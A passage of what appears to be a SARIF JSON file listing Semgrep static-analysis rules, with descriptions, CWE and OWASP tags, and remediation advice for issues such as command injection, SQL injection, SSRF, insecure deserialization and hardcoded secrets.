unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.tokio-postgres.empty-password.empty-password)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.tokio-postgres.empty-password.empty-password","id":"rust.secrets.tokio-postgres.empty-password.empty-password","name":"rust.secrets.tokio-postgres.empty-password.empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.tokio-postgres.empty-password.empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By letting user input control CORS parameters, there is a risk that software does not properly verify that the source of data or communication is valid. Use literal values for CORS settings."},"help":{"markdown":"By letting user input control CORS parameters, there is a risk that software does not properly verify that the source of data or communication is valid. Use literal values for CORS settings.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.cors-misconfiguration.cors-misconfiguration)\n - [https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)\n","text":"By letting user input control CORS parameters, there is a risk that software does not properly verify that the source of data or communication is valid. Use literal values for CORS settings."},"helpUri":"https://semgrep.dev/r/javascript.express.security.cors-misconfiguration.cors-misconfiguration","id":"javascript.express.security.cors-misconfiguration.cors-misconfiguration","name":"javascript.express.security.cors-misconfiguration.cors-misconfiguration","properties":{"precision":"very-high","tags":["CWE-346: Origin Validation Error","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.cors-misconfiguration.cors-misconfiguration"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties."},"help":{"markdown":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.url-rewriting.url-rewriting)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.url-rewriting.url-rewriting","id":"java.lang.security.audit.url-rewriting.url-rewriting","name":"java.lang.security.audit.url-rewriting.url-rewriting","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.url-rewriting.url-rewriting"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of the 'monetary' argument in a function call of 'locale.format_string'. This is only available on Python 3.7+ and is therefore not backwards compatible. Instead, remove the 'monetary' argument."},"help":{"markdown":"Found usage of the 'monetary' argument in a function call of 'locale.format_string'. This is only available on Python 3.7+ and is therefore not backwards compatible. Instead, remove the 'monetary' argument.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-locale1)\n","text":"Found usage of the 'monetary' argument in a function call of 'locale.format_string'. This is only available on Python 3.7+ and is therefore not backwards compatible. Instead, remove the 'monetary' argument."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-locale1","id":"python.lang.compatibility.python37.python37-compatibility-locale1","name":"python.lang.compatibility.python37.python37-compatibility-locale1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-locale1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ASP.NET applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Set `debug` to `false` or remove it from `<compilation ... />`"},"help":{"markdown":"ASP.NET applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Set `debug` to `false` or remove it from `<compilation ... />`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.net-webconfig-debug.net-webconfig-debug)\n - [https://web.archive.org/web/20190919105353/https://blogs.msdn.microsoft.com/prashant_upadhyay/2011/07/14/why-debugfalse-in-asp-net-applications-in-production-environment/](https://web.archive.org/web/20190919105353/https://blogs.msdn.microsoft.com/prashant_upadhyay/2011/07/14/why-debugfalse-in-asp-net-applications-in-production-environment/)\n - [https://msdn.microsoft.com/en-us/library/e8z01xdh.aspx](https://msdn.microsoft.com/en-us/library/e8z01xdh.aspx)\n","text":"ASP.NET applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Set `debug` to `false` or remove it from `<compilation ... />`"},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.net-webconfig-debug.net-webconfig-debug","id":"csharp.dotnet.security.net-webconfig-debug.net-webconfig-debug","name":"csharp.dotnet.security.net-webconfig-debug.net-webconfig-debug","properties":{"precision":"very-high","tags":["CWE-11: ASP.NET Misconfiguration: Creating Debug Binary","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.net-webconfig-debug.net-webconfig-debug"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.empty-password.empty-password)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.empty-password.empty-password","id":"rust.secrets.sqlx.empty-password.empty-password","name":"rust.secrets.sqlx.empty-password.empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.empty-password.empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.command-injection.tainted-system-command.tainted-system-command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.spring.command-injection.tainted-system-command.tainted-system-command","id":"java.spring.command-injection.tainted-system-command.tainted-system-command","name":"java.spring.command-injection.tainted-system-command.tainted-system-command","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.command-injection.tainted-system-command.tainted-system-command"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.tainted-html-string.tainted-html-string)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.tainted-html-string.tainted-html-string","id":"python.aws-lambda.security.tainted-html-string.tainted-html-string","name":"python.aws-lambda.security.tainted-html-string.tainted-html-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.tainted-html-string.tainted-html-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-ruamel-django.tainted-ruamel-django)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://yaml.readthedocs.io/en/latest/api/](https://yaml.readthedocs.io/en/latest/api/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-ruamel-django.tainted-ruamel-django","id":"python.django.deserialization.tainted-ruamel-django.tainted-ruamel-django","name":"python.django.deserialization.tainted-ruamel-django.tainted-ruamel-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-ruamel-django.tainted-ruamel-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a pg8000 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.run(\"SELECT :value FROM table\", value=myvalue)'. You can also create prepared statements with 'conn.prepare': 'conn.prepare(\"SELECT (:v) FROM table\")'"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a pg8000 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.run(\"SELECT :value FROM table\", value=myvalue)'. You can also create prepared statements with 'conn.prepare': 'conn.prepare(\"SELECT (:v) FROM table\")'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.sqli.pg8000-sqli.pg8000-sqli)\n - [https://github.com/tlocke/pg8000](https://github.com/tlocke/pg8000)\n","text":"Detected string concatenation with a non-literal variable in a pg8000 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.run(\"SELECT :value FROM table\", value=myvalue)'. You can also create prepared statements with 'conn.prepare': 'conn.prepare(\"SELECT (:v) FROM table\")'"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.sqli.pg8000-sqli.pg8000-sqli","id":"python.lang.security.audit.sqli.pg8000-sqli.pg8000-sqli","name":"python.lang.security.audit.sqli.pg8000-sqli.pg8000-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.sqli.pg8000-sqli.pg8000-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Avoid 'gets()'. This function does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' or 'gets_s()' instead."},"help":{"markdown":"Avoid 'gets()'. This function does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' or 'gets_s()' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/c.lang.security.insecure-use-gets-fn.insecure-use-gets-fn)\n - [https://us-cert.cisa.gov/bsi/articles/knowledge/coding-practices/fgets-and-gets_s](https://us-cert.cisa.gov/bsi/articles/knowledge/coding-practices/fgets-and-gets_s)\n","text":"Avoid 'gets()'. This function does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' or 'gets_s()' instead."},"helpUri":"https://semgrep.dev/r/c.lang.security.insecure-use-gets-fn.insecure-use-gets-fn","id":"c.lang.security.insecure-use-gets-fn.insecure-use-gets-fn","name":"c.lang.security.insecure-use-gets-fn.insecure-use-gets-fn","properties":{"precision":"very-high","tags":["CWE-676: Use of Potentially Dangerous Function","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: c.lang.security.insecure-use-gets-fn.insecure-use-gets-fn"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Amazon MWS Auth Token detected"},"help":{"markdown":"Amazon MWS Auth Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-amazon-mws-auth-token.detected-amazon-mws-auth-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Amazon MWS Auth Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-amazon-mws-auth-token.detected-amazon-mws-auth-token","id":"generic.secrets.security.detected-amazon-mws-auth-token.detected-amazon-mws-auth-token","name":"generic.secrets.security.detected-amazon-mws-auth-token.detected-amazon-mws-auth-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-amazon-mws-auth-token.detected-amazon-mws-auth-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader."},"help":{"markdown":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib3)\n","text":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib3","id":"python.lang.compatibility.python37.python37-compatibility-importlib3","name":"python.lang.compatibility.python37.python37-compatibility-importlib3","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-importlib3"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-url-to-httpful.tainted-url-to-httpful)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/nategood/httpful](https://github.com/nategood/httpful)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-url-to-httpful.tainted-url-to-httpful","id":"php.lang.security.tainted-url-to-httpful.tainted-url-to-httpful","name":"php.lang.security.tainted-url-to-httpful.tainted-url-to-httpful","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-url-to-httpful.tainted-url-to-httpful"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic algorithm. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices."},"help":{"markdown":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic algorithm. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.crypto.weak-symmetric-algorithm.weak-symmetric-algorithm)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic algorithm. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices."},"helpUri":"https://semgrep.dev/r/javascript.crypto.weak-symmetric-algorithm.weak-symmetric-algorithm","id":"javascript.crypto.weak-symmetric-algorithm.weak-symmetric-algorithm","name":"javascript.crypto.weak-symmetric-algorithm.weak-symmetric-algorithm","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.crypto.weak-symmetric-algorithm.weak-symmetric-algorithm"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a hardcoded hmac key. Avoid hardcoding secrets and consider using an alternate option such as reading the secret from a config file or using an environment variable."},"help":{"markdown":"Detected a hardcoded hmac key. Avoid hardcoding secrets and consider using an alternate option such as reading the secret from a config file or using an environment variable.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.hardcoded-hmac-key.hardcoded-hmac-key)\n - [https://rules.sonarsource.com/javascript/RSPEC-2068](https://rules.sonarsource.com/javascript/RSPEC-2068)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#key-management](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#key-management)\n","text":"Detected a hardcoded hmac key. Avoid hardcoding secrets and consider using an alternate option such as reading the secret from a config file or using an environment variable."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.hardcoded-hmac-key.hardcoded-hmac-key","id":"javascript.lang.security.audit.hardcoded-hmac-key.hardcoded-hmac-key","name":"javascript.lang.security.audit.hardcoded-hmac-key.hardcoded-hmac-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.hardcoded-hmac-key.hardcoded-hmac-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"help":{"markdown":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.tainted-pickle-deserialization.tainted-pickle-deserialization)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.tainted-pickle-deserialization.tainted-pickle-deserialization","id":"python.aws-lambda.security.tainted-pickle-deserialization.tainted-pickle-deserialization","name":"python.aws-lambda.security.tainted-pickle-deserialization.tainted-pickle-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.tainted-pickle-deserialization.tainted-pickle-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`."},"help":{"markdown":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.wildcard-assume-role.wildcard-assume-role)\n - [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)\n","text":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.wildcard-assume-role.wildcard-assume-role","id":"terraform.aws.security.wildcard-assume-role.wildcard-assume-role","name":"terraform.aws.security.wildcard-assume-role.wildcard-assume-role","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.wildcard-assume-role.wildcard-assume-role"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By setting `allErrors: true` in `Ajv` library, all error objects will be allocated without limit. This allows the attacker to produce a huge number of errors which can lead to denial of service. Do not use `allErrors: true` in production."},"help":{"markdown":"By setting `allErrors: true` in `Ajv` library, all error objects will be allocated without limit. This allows the attacker to produce a huge number of errors which can lead to denial of service. Do not use `allErrors: true` in production.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.ajv.security.audit.ajv-allerrors-true.ajv-allerrors-true)\n - [https://ajv.js.org/options.html#allerrors](https://ajv.js.org/options.html#allerrors)\n","text":"By setting `allErrors: true` in `Ajv` library, all error objects will be allocated without limit. This allows the attacker to produce a huge number of errors which can lead to denial of service. Do not use `allErrors: true` in production."},"helpUri":"https://semgrep.dev/r/javascript.ajv.security.audit.ajv-allerrors-true.ajv-allerrors-true","id":"javascript.ajv.security.audit.ajv-allerrors-true.ajv-allerrors-true","name":"javascript.ajv.security.audit.ajv-allerrors-true.ajv-allerrors-true","properties":{"precision":"very-high","tags":["CWE-400: Uncontrolled Resource Consumption","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.ajv.security.audit.ajv-allerrors-true.ajv-allerrors-true"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-static command inside Command. Audit the input to 'exec.Command'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside Command. Audit the input to 'exec.Command'. If 